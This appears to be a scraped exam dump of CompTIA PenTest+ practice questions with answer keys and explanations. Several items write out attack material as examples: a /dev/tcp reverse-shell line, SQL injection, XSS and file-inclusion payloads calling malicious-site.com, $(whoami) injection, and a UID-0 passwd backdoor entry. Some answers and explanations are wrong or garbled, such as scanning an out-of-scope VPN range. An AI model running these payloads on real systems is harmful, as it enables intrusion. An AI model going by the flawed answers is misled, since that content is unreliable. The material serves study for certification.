

## PT0-002 Dumps

### CompTIA PenTest+ Certification Exam

<https://www.certleader.com/PT0-002-dumps.html>



## NEW QUESTION 1

You are a penetration tester running port scans on a server. INSTRUCTIONS

Part 1: Given the output, construct the command that was used to generate this output from the available options.

Part 2: Once the command is appropriately constructed, use the given output to identify the potential attack vectors that should be investigated further.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

### Penetration Testing

Part 1

Part 2

#### Drag and Drop Options

- sL
- O
- 192.168.2.2
- sU
- sV
- p 1-1023
- 192.168.2.1-100
- Pn
- nc
- top-ports=1000
- hping
- top-ports=100
- nmap

#### NMAP Scan Output

```
Host is up (0.00079s latency).
Not shown: 96 closed ports.
PORT      STATE SERVICE
88/tcp    open  kerberos-sec?
139/tcp   open  netbios-ssn
389/tcp   open  ldap?
445/tcp   open  microsoft-ds?
MAC Address: 08:00:27:81:B1:DF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux_kernel:2.4.21
OS details: Linux 2.4.21
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/.
# Scan done at Fri Oct 13 10:03:06 2017 - 1 IP address (1 host up)
scanned in 26.80 seconds
```

#### Command



### Penetration Testing

Part 1

Part 2

#### Question Options

Using the output, identify potential attack vectors that should be further investigated.

- ☐ Weak SMB file permissions
- ☐ FTP anonymous login
- ☐ Webdav file upload
- ☐ Weak Apache Tomcat Credentials
- ☐ Null session enumeration
- ☐ Fragmentation attack
- ☐ SNMP enumeration
- ☐ ARP spoofing

#### NMAP Scan Output

```
Host is up (0.00079s latency).
Not shown: 96 closed ports.
PORT      STATE SERVICE
88/tcp    open  kerberos-sec?
139/tcp   open  netbios-ssn
389/tcp   open  ldap?
445/tcp   open  microsoft-ds?
MAC Address: 08:00:27:81:B1:DF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux_kernel:2.4.21
OS details: Linux 2.4.21
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/.
# Scan done at Fri Oct 13 10:03:06 2017 - 1 IP address (1 host up)
scanned in 26.80 seconds
```

- A. Mastered
- B. Not Mastered

Answer: A

#### Explanation:

Part 1 - 192.168.2.2 -O -sV --top-ports=100 and SMB vulns

Part 2 - Weak SMB file permissions

<https://subscription.packtpub.com/book/networking-and-servers/9781786467454/1/ch01lv1sec13/fingerprinting>

**NEW QUESTION 2**

Deconfliction is necessary when the penetration test:

- A. determines that proprietary information is being stored in cleartext.
- B. occurs during the monthly vulnerability scanning.
- C. uncovers indicators of prior compromise over the course of the assessment.
- D. proceeds in parallel with a criminal digital forensic investigation.

**Answer: C**

**Explanation:**

This will then enable the PenTest to continue so that additional issues can be found, exploited, and analyzed.

**NEW QUESTION 3**

A penetration tester conducted a discovery scan that generated the following:

```
Starting nmap 6.40 ( http://nmap.org ) at 2021-02-01 13:56 CST
Nmap scan report for 192.168.0.1
Host is up (0.021s latency).
Nmap scan report for 192.168.0.140
Host is up (0.30s latency)
Nmap scan report for 192.168.0.149
Host is up (0.20s latency).
Nmap scan report for 192.168.0.184
Host is up (0.0017s latency).
Nmap done: IP addresses (4 hosts up) scanned in 37.26 seconds
```

Which of the following commands generated the results above and will transform them into a list of active hosts for further analysis?

- A. nmap -oG list.txt 192.168.0.1-254 , sort
- B. nmap -sn 192.168.0.1-254 , grep "Nmap scan" | awk '{print \$5}'
- C. nmap --open 192.168.0.1-254, uniq
- D. nmap -o 192.168.0.1-254, cut -f 2

**Answer: B**

**Explanation:**

the NMAP flag (-sn) which is for host discovery and returns that kind of NMAP output. And the AWK command selects column 5 ({print \$5}) which obviously carries the returned IP of the host in the NMAP output.

This command will generate the results shown in the image and transform them into a list of active hosts for further analysis. The command consists of three parts:

- nmap -sn 192.168.0.1-254: This part uses nmap, a network scanning tool, to perform a ping scan (-sn) on the IP range 192.168.0.1-254, which means sending ICMP echo requests to each IP address and checking if they respond.
- grep "Nmap scan": This part uses grep, a text filtering tool, to search for the string "Nmap scan" in the output of the previous part and display only the matching lines. This will filter out the lines that show the start and end time of the scan and only show the lines that indicate the status of each host.
- awk '{print \$5}': This part uses awk, a text processing tool, to print the fifth field (\$5) of each line in the output of the previous part. This will extract only the IP addresses of each host and display them as a list.

The final output will look something like this: 192.168.0.1 192.168.0.12 192.168.0.17 192.168.0.34

**NEW QUESTION 4**

A customer adds a requirement to the scope of a penetration test that states activities can only occur during normal business hours. Which of the following BEST describes why this would be necessary?

- A. To meet PCI DSS testing requirements
- B. For testing of the customer's SLA with the ISP
- C. Because of concerns regarding bandwidth limitations
- D. To ensure someone is available if something goes wrong

**Answer: D**

**NEW QUESTION 5**

A CentOS computer was exploited during a penetration test. During initial reconnaissance, the penetration tester discovered that port 25 was open on an internal Sendmail server. To remain stealthy, the tester ran the following command from the attack machine:

```
ssh root@10.10.1.1 -L5555:10.10.1.2:25
```

Which of the following would be the BEST command to use for further progress into the targeted network?

- A. nc 10.10.1.2
- B. ssh 10.10.1.2
- C. nc 127.0.0.1 5555
- D. ssh 127.0.0.1 5555

**Answer: C**

**NEW QUESTION 6**

A penetration tester was contracted to test a proprietary application for buffer overflow vulnerabilities. Which of the following tools would be BEST suited for this



task?

- A. GDB
- B. Burp Suite
- C. SearchSploit
- D. Netcat

**Answer:** A

**Explanation:**

GDB is a debugging tool that can be used to analyze and manipulate the memory of a running process, which is useful for finding and exploiting buffer overflow vulnerabilities. Burp Suite is a web application testing tool that does not directly test for buffer overflows. SearchSploit is a database of known exploits that does not test for new vulnerabilities. Netcat is a network utility that can be used to send and receive data, but not to test for buffer overflows.

**NEW QUESTION 7**

A company becomes concerned when the security alarms are triggered during a penetration test. Which of the following should the company do NEXT?

- A. Halt the penetration test.
- B. Contact law enforcement.
- C. Deconflict with the penetration tester.
- D. Assume the alert is from the penetration test.

**Answer:** C

**Explanation:**

Deconflicting with the penetration tester is the best thing to do next after the security alarms are triggered during a penetration test, as it will help determine whether the alarm was caused by the tester's activity or by an actual threat. Deconflicting is the process of communicating and coordinating with other parties involved in a penetration testing engagement, such as security teams, network administrators, or emergency contacts, to avoid confusion or interference.

**NEW QUESTION 8**

A client wants a security assessment company to perform a penetration test against its hot site. The purpose of the test is to determine the effectiveness of the defenses that protect against disruptions to business continuity. Which of the following is the MOST important action to take before starting this type of assessment?

- A. Ensure the client has signed the SOW.
- B. Verify the client has granted network access to the hot site.
- C. Determine if the failover environment relies on resources not owned by the client.
- D. Establish communication and escalation procedures with the client.

**Answer:** A

**Explanation:**

The statement of work (SOW) is a document that defines the scope, objectives, deliverables, and timeline of a penetration testing engagement. It is important to have the client sign the SOW before starting the assessment to avoid any legal or contractual issues.

**NEW QUESTION 9**

A company recently moved its software development architecture from VMs to containers. The company has asked a penetration tester to determine if the new containers are configured correctly against a DDoS attack. Which of the following should a tester perform first?

- A. Test the strength of the encryption settings.
- B. Determine if security tokens are easily available.
- C. Perform a vulnerability check against the hypervisor.
- D. .Scan the containers for open ports.

**Answer:** D

**Explanation:**

The first step that a tester should perform to determine if the new containers are configured correctly against a DDoS attack is to scan the containers for open ports. Open ports are entry points for network communication and can expose services or applications that may be vulnerable to DDoS attacks. Scanning the containers for open ports can help the tester identify which services or applications are running on the containers, and which ones may need to be secured or disabled to prevent DDoS attacks. Scanning the containers for open ports can also help the tester discover any unauthorized or malicious services or applications that may have been installed on the containers by previous attackers or compromised containers. Scanning the containers for open ports can be done by using tools such as Nmap, which can perform network scanning and enumeration by sending packets to hosts and analyzing their responses<sup>1</sup>. The other options are not the first steps that a tester should perform to determine if the new containers are configured correctly against a DDoS attack. Testing the strength of the encryption settings is not relevant to DDoS attacks, as encryption does not prevent or mitigate DDoS attacks, but rather protects data confidentiality and integrity. Determining if security tokens are easily available is not relevant to DDoS attacks, as security tokens are used for authentication and authorization, not for preventing or mitigating DDoS attacks. Performing a vulnerability check against the hypervisor is not relevant to DDoS attacks, as the hypervisor is not directly exposed to network traffic, but rather manages the virtual machines or containers that run on it.

**NEW QUESTION 10**

Which of the following commands will allow a penetration tester to permit a shell script to be executed by the file owner?

- A. chmod u+x script.sh
- B. chmod u+e script.sh
- C. chmod o+e script.sh
- D. chmod o+x script.sh

**Answer:** A

**NEW QUESTION 10**

A penetration tester opened a reverse shell on a Linux web server and successfully escalated privileges to root. During the engagement, the tester noticed that another user logged in frequently as root to perform work tasks. To avoid disrupting this user's work, which of the following is the BEST option for the penetration tester to maintain root-level persistence on this server during the test?

- A. Add a web shell to the root of the website.
- B. Upgrade the reverse shell to a true TTY terminal.
- C. Add a new user with ID 0 to the /etc/passwd file.
- D. Change the password of the root user and revert after the test.

**Answer:** C

**Explanation:**

The best option for the penetration tester to maintain root-level persistence on this server during the test is to add a new user with ID 0 to the /etc/passwd file. This will allow the penetration tester to use the same user account as the other user, but with root privileges, meaning that it won't disrupt the other user's work. This can be done by adding a new line with the username and the numerical user ID 0 to the /etc/passwd file. For example, if the username for the other user is "johndoe", the line to add would be "johndoe:x:0:0:John Doe:/root:/bin/bash". After the user is added, the penetration tester can use the "su" command to switch to the new user and gain root privileges.

**NEW QUESTION 11**

Which of the following is the MOST effective person to validate results from a penetration test?

- A. Third party
- B. Team leader
- C. Chief Information Officer
- D. Client

**Answer:** B

**NEW QUESTION 12**

Which of the following expressions in Python increase a variable val by one (Choose two.)

- A. val++
- B. +val
- C. val=(val+1)
- D. ++val
- E. val=val++
- F. val+=1

**Answer:** CF

**Explanation:**

In Python, there are two ways to increase a variable by one: using the assignment operator (=) with an arithmetic expression, or using the augmented assignment operator (+=). The expressions val=(val+1) and val+=1 both achieve this goal. The expressions val++ and ++val are not valid in Python, as there is no increment operator. The expressions +val and val=val++ do not change the value of val2.

<https://pythonguides.com/increment-and-decrement-operators-in-python/>

**NEW QUESTION 17**

A penetration tester ran the following command on a staging server:

```
python -m SimpleHTTPServer 9891
```

Which of the following commands could be used to download a file named exploit to a target machine for execution?

- A. nc 10.10.51.50 9891 < exploit
- B. powershell -exec bypass -f \\10.10.51.50\9891
- C. bash -i >& /dev/tcp/10.10.51.50/9891 0&1>/exploit
- D. wget 10.10.51.50:9891/exploit

**Answer:** D

**NEW QUESTION 19**

Which of the following would a company's hunt team be MOST interested in seeing in a final report?

- A. Executive summary
- B. Attack TTPs
- C. Methodology
- D. Scope details

**Answer:** B

**NEW QUESTION 22**

You are a security analyst tasked with hardening a web server.

You have been given a list of HTTP payloads that were flagged as malicious. INSTRUCTIONS

Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

## HTTP Request Payload Table

Payloads	Vulnerability Type	Remediation
#inner-tab"><script>alert(1)</script>	<div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div>	<div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [ ] ( )</div> <div>Input Sanitization " : &lt; , &gt; , &lt;</div>
item=widget";waitfor%20delay%20"00:00:20";--	<div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div>	<div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [ ] ( )</div> <div>Input Sanitization " : &lt; , &gt; , &lt;</div>
item=widget%20union%20select%20null,null,@version;--	<div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div>	<div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [ ] ( )</div> <div>Input Sanitization " : &lt; , &gt; , &lt;</div>
search=Bob"%3e%3cing%20src%3da%20onerror%3dalert(1)%3e	<div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div>	<div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [ ] ( )</div> <div>Input Sanitization " : &lt; , &gt; , &lt;</div>
item=widget"+convert(int,@@version)+"	<div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div>	<div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [ ] ( )</div> <div>Input Sanitization " : &lt; , &gt; , &lt;</div>
site=www.exe"ping%20-c%2010%20localhost"mple.com	<div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div>	<div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [ ] ( )</div> <div>Input Sanitization " : &lt; , &gt; , &lt;</div>
redir=http:%2f%2fwww.malicious-site.com	<div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div>	<div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [ ] ( )</div> <div>Input Sanitization " : &lt; , &gt; , &lt;</div>
logfile=%2fetc%2fpasswd%00	<div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div>	<div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [ ] ( )</div> <div>Input Sanitization " : &lt; , &gt; , &lt;</div>
lookup=\$(whoami)	<div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div>	<div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [ ] ( )</div> <div>Input Sanitization " : &lt; , &gt; , &lt;</div>
logFile=http:%2f%2fwww.malicious-site.com%2fshell.txt	<div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div>	<div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [ ] ( )</div> <div>Input Sanitization " : &lt; , &gt; , &lt;</div>

- A. Mastered  
B. Not Mastered

**Answer: A**

### Explanation:

- \* 1. Reflected XSS - Input sanitization (<> ...)
- \* 2. Sql Injection Stacked - Parameterized Queries
- \* 3. DOM XSS - Input Sanitization (<> ...)
- \* 4. Local File Inclusion - sandbox req
- \* 5. Command Injection - sandbox req
- \* 6. SQLi union - paramtrized queries
- \* 7. SQLi error - paramtrized queries

- \* 8. Remote File Inclusion - sandbox
- \* 9. Command Injection - input sanitization
- \* 10. URL redirect - prevent external calls

**NEW QUESTION 25**

A penetration tester gains access to a web server and notices a large number of devices in the system ARP table. Upon scanning the web server, the tester determines that many of the devices are user workstations. Which of the following should be included in the recommendations for remediation?

- A. training program on proper access to the web server
- B. patch-management program for the web server.
- C. the web server in a screened subnet
- D. Implement endpoint protection on the workstations

**Answer: D**

**Explanation:**

The penetration tester should recommend implementing endpoint protection on the workstations, which is a security measure that involves installing software or hardware on devices that connect to a network to protect them from threats such as malware, ransomware, phishing, or unauthorized access. Endpoint protection can include antivirus software, firewalls, encryption tools, VPNs, or device management systems. Endpoint protection can help prevent user workstations from being compromised by attackers who have gained access to the web server or other devices on the network. The other options are not valid recommendations for remediation based on the discovery that many of the devices are user workstations. Changing passwords that were created before this code update is not relevant to this issue, as it refers to a different scenario involving password hashing and salting. Keeping hashes created by both methods for compatibility is not relevant to this issue, as it refers to a different scenario involving password hashing and salting. Moving the web server in a screened subnet is not relevant to this issue, as it refers to a different scenario involving network segmentation and isolation.

**NEW QUESTION 30**

A penetration tester successfully performed an exploit on a host and was able to hop from VLAN 100 to VLAN 200. VLAN 200 contains servers that perform financial transactions, and the penetration tester now wants the local interface of the attacker machine to have a static ARP entry in the local cache. The attacker machine has the following:

IP Address: 192.168.1.63

Physical Address: 60-36-dd-a6-c5-33

Which of the following commands would the penetration tester MOST likely use in order to establish a static ARP entry successfully?

- A. tcpdump -i eth01 arp and arp[6:2] == 2
- B. arp -s 192.168.1.63 60-36-DD-A6-C5-33
- C. ipconfig /all findstr /v 00-00-00 | findstr Physical
- D. route add 192.168.1.63 mask 255.255.255.255 0 192.168.1.1

**Answer: B**

**Explanation:**

The arp command is used to manipulate or display the Address Resolution Protocol (ARP) cache, which is a table that maps IP addresses to physical addresses (MAC addresses) on a network. The -s option is used to add a static ARP entry to the cache, which means that it will not expire or be overwritten by dynamic ARP entries. The syntax for adding a static ARP entry is arp -s <IP address> <physical address>. Therefore, the command arp -s 192.168.1.63 60-36-DD-A6-C5-33 would add a static ARP entry for the IP address 192.168.1.63 and the physical address 60-36-DD-A6-C5-33 to the local cache of the attacker machine. This would allow the attacker machine to communicate with the target machine without relying on ARP requests or replies. The other commands are not valid or useful for establishing a static ARP entry.

**NEW QUESTION 31**

A penetration tester would like to obtain FTP credentials by deploying a workstation as an on-path attack between the target and the server that has the FTP protocol. Which of the following methods would be the BEST to accomplish this objective?

- A. Wait for the next login and perform a downgrade attack on the server.
- B. Capture traffic using Wireshark.
- C. Perform a brute-force attack over the server.
- D. Use an FTP exploit against the server.

**Answer: B**

**NEW QUESTION 34**

A company hired a penetration tester to do a social-engineering test against its employees. Although the tester did not find any employees' phone numbers on the company's website, the tester has learned the complete phone catalog was published there a few months ago.

In which of the following places should the penetration tester look FIRST for the employees' numbers?

- A. Web archive
- B. GitHub
- C. File metadata
- D. Underground forums

**Answer: A**

**NEW QUESTION 38**

A penetration tester is conducting an assessment against a group of publicly available web servers and notices a number of TCP resets returning from one of the web servers. Which of the following is MOST likely causing the TCP resets to occur during the assessment?

- A. The web server is using a WAF.
- B. The web server is behind a load balancer.
- C. The web server is redirecting the requests.



D. The local antivirus on the web server is rejecting the connection.

**Answer:** A

**Explanation:**

A Web Application Firewall (WAF) is designed to monitor, filter or block traffic to a web application. A WAF will monitor incoming and outgoing traffic from a web application and is often used to protect web servers from attacks such as SQL Injection, Cross-Site Scripting (XSS), and other forms of attacks. If a WAF detects an attack, it will often reset the TCP connection, causing the connection to be terminated. As a result, a penetration tester may see TCP resets when a WAF is present. Therefore, the most likely reason for the TCP resets returning from the web server is that the web server is using a WAF.

**NEW QUESTION 40**

Which of the following is the MOST important information to have on a penetration testing report that is written for the developers?

- A. Executive summary
- B. Remediation
- C. Methodology
- D. Metrics and measures

**Answer:** B

**Explanation:**

The most important information to have on a penetration testing report that is written for the developers is remediation. Remediation is the process of fixing or mitigating the vulnerabilities or issues that were discovered during the penetration testing. Remediation should include specific recommendations, best practices, and resources to help the developers improve the security of their applications.

**NEW QUESTION 44**

A penetration tester is assessing a wireless network. Although monitoring the correct channel and SSID, the tester is unable to capture a handshake between the clients and the AP. Which of the following attacks is the MOST effective to allow the penetration tester to capture a handshake?

- A. Key reinstallation
- B. Deauthentication
- C. Evil twin
- D. Replay

**Answer:** B

**Explanation:**

Deauth will make the client connect again

**NEW QUESTION 47**

A penetration tester has gained access to a network device that has a previously unknown IP range on an interface. Further research determines this is an always-on VPN tunnel to a third-party supplier.

Which of the following is the BEST action for the penetration tester to take?

- A. Utilize the tunnel as a means of pivoting to other internal devices.
- B. Disregard the IP range, as it is out of scope.
- C. Stop the assessment and inform the emergency contact.
- D. Scan the IP range for additional systems to exploit.

**Answer:** D

**NEW QUESTION 50**

A penetration tester who is working remotely is conducting a penetration test using a wireless connection. Which of the following is the BEST way to provide confidentiality for the client while using this connection?

- A. Configure wireless access to use a AAA server.
- B. Use random MAC addresses on the penetration testing distribution.
- C. Install a host-based firewall on the penetration testing distribution.
- D. Connect to the penetration testing company's VPS using a VPN.

**Answer:** D

**Explanation:**

The best way to provide confidentiality for the client while using a wireless connection is to connect to the penetration testing company's VPS using a VPN. This will encrypt the traffic between the penetration tester and the VPS, and prevent any eavesdropping or interception by third parties. A VPN will also allow the penetration tester to access the client's network securely and bypass any firewall or network restrictions.

**NEW QUESTION 54**

A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for a denial-of-service attack on the network segment?

- A. Smurf
- B. Ping flood
- C. Fraggle
- D. Ping of death

**Answer:** C



**Explanation:**

Fraggle attack is same as a Smurf attack but rather than ICMP, UDP protocol is used. The prevention of these attacks is almost identical to Fraggle attack.

Ref: <https://www.okta.com/identity-101/fraggle-attack/>

**NEW QUESTION 59**

Which of the following types of information should be included when writing the remediation section of a penetration test report to be viewed by the systems administrator and technical staff?

- A. A quick description of the vulnerability and a high-level control to fix it
- B. Information regarding the business impact if compromised
- C. The executive summary and information regarding the testing company
- D. The rules of engagement from the assessment

**Answer:** A

**Explanation:**

The systems administrator and the technical staff would be more interested in the technical aspect of the findings

**NEW QUESTION 61**

A penetration tester discovered a code repository and noticed passwords were hashed before they were stored in the database with the following code? salt = '123' hash = hashlib.pbkdf2\_hmac('sha256', plaintext, salt, 10000) The tester recommended the code be updated to the following salt = os.urandom(32) hash = hashlib.pbkdf2\_hmac('sha256', plaintext, salt, 10000) Which of the following steps should the penetration tester recommend?

- A. Changing passwords that were created before this code update
- B. Keeping hashes created by both methods for compatibility
- C. Rehashing all old passwords with the new code
- D. Replacing the SHA-256 algorithm to something more secure

**Answer:** A

**Explanation:**

The penetration tester recommended the code be updated to use a random salt instead of a fixed salt for hashing passwords. A salt is a random value that is added to the plaintext password before hashing it, to prevent attacks such as rainbow tables or dictionary attacks that rely on precomputed hashes of common or weak passwords. A random salt ensures that each password hash is unique and unpredictable, even if two users have the same password. However, changing the salt does not affect the existing hashes that were created with the old salt, which may still be vulnerable to attacks. Therefore, the penetration tester should recommend changing passwords that were created before this code update, so that they can be hashed with the new salt and be more secure. The other options are not valid steps that the penetration tester should recommend. Keeping hashes created by both methods for compatibility would defeat the purpose of updating the code, as it would leave some hashes vulnerable to attacks. Rehashing all old passwords with the new code would not work, as it would require knowing the plaintext passwords, which are not stored in the database. Replacing the SHA-256 algorithm to something more secure is not necessary, as SHA-256 is a secure and widely used hashing algorithm that has no known vulnerabilities or collisions.

**NEW QUESTION 66**

During a penetration test, a tester is able to change values in the URL from example.com/login.php?id=5 to example.com/login.php?id=10 and gain access to a web application. Which of the following vulnerabilities has the penetration tester exploited?

- A. Command injection
- B. Broken authentication
- C. Direct object reference
- D. Cross-site scripting

**Answer:** C

**Explanation:**

Insecure direct object reference (IDOR) is a vulnerability where the developer of the application does not implement authorization features to verify that someone accessing data on the site is allowed to access that data.

**NEW QUESTION 67**

A penetration tester initiated the transfer of a large data set to verify a proof-of-concept attack as permitted by the ROE. The tester noticed the client's data included PII, which is out of scope, and immediately stopped the transfer. Which of the following MOST likely explains the penetration tester's decision?

- A. The tester had the situational awareness to stop the transfer.
- B. The tester found evidence of prior compromise within the data set.
- C. The tester completed the assigned part of the assessment workflow.
- D. The tester reached the end of the assessment time frame.

**Answer:** A

**Explanation:**

Situational awareness is the ability to perceive and understand the environment and events around oneself, and to act accordingly. The penetration tester demonstrated situational awareness by stopping the transfer of PII, which was out of scope and could have violated the ROE or legal and ethical principles. The other options are not relevant to the situation or the decision of the penetration tester.

**NEW QUESTION 72**

During a penetration test, a tester is in close proximity to a corporate mobile device belonging to a network administrator that is broadcasting Bluetooth frames. Which of the following is an example of a Bluesnarfing attack that the penetration tester can perform?

- A. Sniff and then crack the WPS PIN on an associated WiFi device.

- B. Dump the user address book on the device.
- C. Break a connection between two Bluetooth devices.
- D. Transmit text messages to the device.

**Answer:** B

**Explanation:**

Bluesnarfing is the unauthorized access of information from a wireless device through a Bluetooth connection, often between phones, desktops, laptops, and PDAs. This allows access to calendars, contact lists, emails and text messages, and on some phones, users can copy pictures and private videos.

**NEW QUESTION 76**

Appending string values onto another string is called:

- A. compilation
- B. connection
- C. concatenation
- D. conjunction

**Answer:** C

**Explanation:**

Concatenation is the term used to describe the process of appending string values onto another string. In Python, concatenation can be done using the + operator, such as "Hello" + "World" = "HelloWorld".

**NEW QUESTION 81**

A penetration tester is able to use a command injection vulnerability in a web application to get a reverse shell on a system. After running a few commands, the tester runs the following:

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

Which of the following actions is the penetration tester performing?

- A. Privilege escalation
- B. Upgrading the shell
- C. Writing a script for persistence
- D. Building a bind shell

**Answer:** B

**Explanation:**

The penetration tester is performing an action called upgrading the shell, which means improving the functionality and interactivity of the shell. By running the python command, the penetration tester is spawning a new bash shell that has features such as tab completion, command history, and job control. This can help the penetration tester to execute commands more easily and efficiently.

**NEW QUESTION 86**

A penetration tester is starting an assessment but only has publicly available information about the target company. The client is aware of this exercise and is preparing for the test.

Which of the following describes the scope of the assessment?

- A. Partially known environment testing
- B. Known environment testing
- C. Unknown environment testing
- D. Physical environment testing

**Answer:** C

**NEW QUESTION 89**

A penetration tester gives the following command to a systems administrator to execute on one of the target servers:

```
rm -f /var/www/html/G679h32gYu.php
```

Which of the following BEST explains why the penetration tester wants this command executed?

- A. To trick the systems administrator into installing a rootkit
- B. To close down a reverse shell
- C. To remove a web shell after the penetration test
- D. To delete credentials the tester created

**Answer:** C

**Explanation:**

s for why the penetration tester wants this command executed.

**NEW QUESTION 94**

Penetration tester has discovered an unknown Linux 64-bit executable binary. Which of the following tools would be BEST to use to analyze this issue?

- A. Peach
- B. WinDbg
- C. GDB
- D. OllyDbg

**Answer:** C

**Explanation:**

OLLYDBG, WinDBG, and IDA are all debugging tools that support Windows environments. GDB is a Linuxspecific debugging tool.

GDB is a tool that can be used to analyze and debug executable binaries, especially on Linux systems. GDB can disassemble, decompile, set breakpoints, examine memory, modify registers, and perform other operations on binaries. GDB can help a penetration tester understand the functionality, behavior, and vulnerabilities of an unknown binary. Peach is a tool that can be used to perform fuzzing, which is a technique of sending malformed or random data to a target to trigger errors or crashes. WinDbg and OllyDbg are tools that can be used to analyze and debug executable binaries, but they are mainly designed for Windows systems.

**NEW QUESTION 95**

Which of the following is the BEST resource for obtaining payloads against specific network infrastructure products?

- A. Exploit-DB
- B. Metasploit
- C. Shodan
- D. Retina

**Answer:** A

**Explanation:**

"Exploit Database (ExploitDB) is a repository of exploits for the purpose of public security, and it explains what can be found on the database. The ExploitDB is a very useful resource for identifying possible weaknesses in your network and for staying up to date on current attacks occurring in other networks"

Exploit-DB is a website that collects and archives exploits for various software and hardware products, including network infrastructure devices. Exploit-DB allows users to search for exploits by product name, vendor, type, platform, CVE number, or date. Exploit-DB is a useful resource for obtaining payloads against specific network infrastructure products. Metasploit is a framework that contains many exploits and payloads, but it is not a resource for obtaining them. Shodan is a search engine that scans the internet for devices and services, but it does not provide exploits or payloads. Retina is a vulnerability scanner that identifies weaknesses in network devices, but it does not provide exploits or payloads.

**NEW QUESTION 99**

A final penetration test report has been submitted to the board for review and accepted. The report has three findings rated high. Which of the following should be the NEXT step?

- A. Perform a new penetration test.
- B. Remediate the findings.
- C. Provide the list of common vulnerabilities and exposures.
- D. Broaden the scope of the penetration test.

**Answer:** B

**NEW QUESTION 102**

Which of the following should a penetration tester attack to gain control of the state in the HTTP protocol after the user is logged in?

- A. HTTPS communication
- B. Public and private keys
- C. Password encryption
- D. Sessions and cookies

**Answer:** D

**NEW QUESTION 103**

A private investigation firm is requesting a penetration test to determine the likelihood that attackers can gain access to mobile devices and then exfiltrate data from those devices. Which of the following is a social-engineering method that, if successful, would MOST likely enable both objectives?

- A. Send an SMS with a spoofed service number including a link to download a malicious application.
- B. Exploit a vulnerability in the MDM and create a new account and device profile.
- C. Perform vishing on the IT help desk to gather a list of approved device IMEIs for masquerading.
- D. Infest a website that is often used by employees with malware targeted toward x86 architectures.

**Answer:** A

**Explanation:**

Since it doesn't indicate company owned devices, sending a text to download an application is best. And it says social-engineering so a spoofed text falls under that area.

**NEW QUESTION 104**

